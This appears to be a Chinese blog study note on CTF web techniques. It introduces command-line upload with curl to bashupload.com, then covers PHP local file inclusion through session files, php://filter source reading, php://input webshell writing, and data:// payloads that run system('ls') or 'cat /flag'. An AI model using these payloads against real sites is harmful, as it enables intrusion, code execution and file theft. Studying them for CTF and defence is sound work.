当前位置: 首页 > news >正文

7月18日总结

bashupload / upload files from command line

远程文件包含

介绍一个上传文件的网站

bashupload.com

简介

借助bashupload.com,可以简朴地从下令行上传文件,剖析给其他的服务器,桌面和移动装备,最大支持25G。上传的文件会被保留7天,时代可以无限次下载。

直接打开 https://bashupload.com 这个网站,首页异常简练,直接告诉你最主要的上传下令,下方则是其他情形的下令示例的链接。

直接使用curl下令即可上传文件,下令执行完成会给出下载的链接。

其中name.txt是把你希望最终链接出现的文件名,@后面是内陆的文件名。

curl https://bashupload.com/name.txt --data-binary @file.txt

获得下载链接之后,直接使用wget即可下载

wget https://bashupload.com/xxxxx/name.txt

标红是随机生成

无论是curl命令上传还是网页直接上传

效果一样(标红的路径随机生成,所以不一样)

包含session文件

session、cookie、token的区别?_cookie session token区别-CSDN博客

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件:

找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
相关案例可以查看这道CTF题一道CTF题:PHP文件包含
 

 php伪协议

使用条件

file://是访问本地文件

php://filter是查源码

php://filter/convert.base64-encode/resource=文件路径
php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名>  //将utf8编码转换utf16编码

php://imput是运行代码

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:
在这里插入图片描述
发送报文,可以看到本地生成了一句话木马:
在这里插入图片描述

data:// 伪协议的基本格式如下:

不编码:

data://text/plain,<?php phpinfo();?>

编码:

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

data://[<MIME-type>][;charset=<encoding>][;base64],<data>
MIME-type:指定数据的类型,默认为 text/plain。
charset(可选,默认为UTF-8):指定数据的编码类型,如 utf-8。
base64(可选):如果数据经过 Base64 编码,则需要加上 ;base64 标识。
data:实际的数据内容。
使用方式:在url后加上?file=data://text/plain,<?php system('ls'); ?>,可以使系统列出文件列表。亦可对data部分代码进行url编码绕过字符串过滤

zip://绝对路径#压缩包里面的文件名

传递的参数=system("ls");

查询当前目录

传递的参数=system("ls /");

查看根目录

传递的参数=system("cat /flag");

打印flag

http://www.dtcms.com/a/285963.html

相关文章:

  • 深度学习之----对抗生成网络-pytorch-CycleGAN-and-pix2pix
  • Jenkins pipeline 部署docker通用模板
  • drm驱动学习(一)sunxi_drm初始化
  • 【leetcode】3201. 找出有效子序列的最大长度(1)
  • PyCharm 高效入门指南(核心模块详解二)
  • RoboBrain 2.0(具身智能论文阅读)
  • 笔试——Day12
  • 阿里云alicloud liunux3-安装docker
  • Python编程进阶知识之第二课学习网络爬虫(selenium)
  • JavaScript进阶篇——第九章 异常、this 与性能优化全解(终)
  • 14.链路聚合技术
  • 量化交易如何查询CFD指数实时行情
  • postman接口测试,1个参数有好几个值的时候如何测试比较简单快速?
  • IP协议深入理解
  • 20250718-4-Kubernetes 应用程序生命周期管理-Pod对象:实现机制_笔记
  • 如何保证缓存数据的一致性:数据库和缓存数据一致性,本地缓存和Redis缓存怎么保证数据一致性
  • Netty封装Websocket并实现动态路由
  • Spring Boot 应用优雅停机与资源清理:深入理解关闭钩子
  • 比特币技术简史 第四章:挖矿机制 - 挖矿算法、难度调整与矿池
  • 在ajax中什么时候需要将返回值类型做转换
  • Excel基础:格式化
  • 产品需求文档(PRD)格式全解析:从 RP 到 Word 的选择与实践
  • 2023 年 3 月青少年软编等考 C 语言八级真题解析
  • 回归预测 | MATLAB实现DBO-BP蜣螂算法优化BP神经网络多输入单输出回归预测
  • 借助AI学习开源代码git0.7之三git-init-db
  • MyBatis-Flex代码生成
  • ARINC818协议详解
  • KRaft 角色状态设计模式:从状态理解 Raft
  • 美创科技建设项目被评为中国信通院医疗领域“磐安”优秀案例
  • A33-vstar报错记录:ERROR: build kernel Failed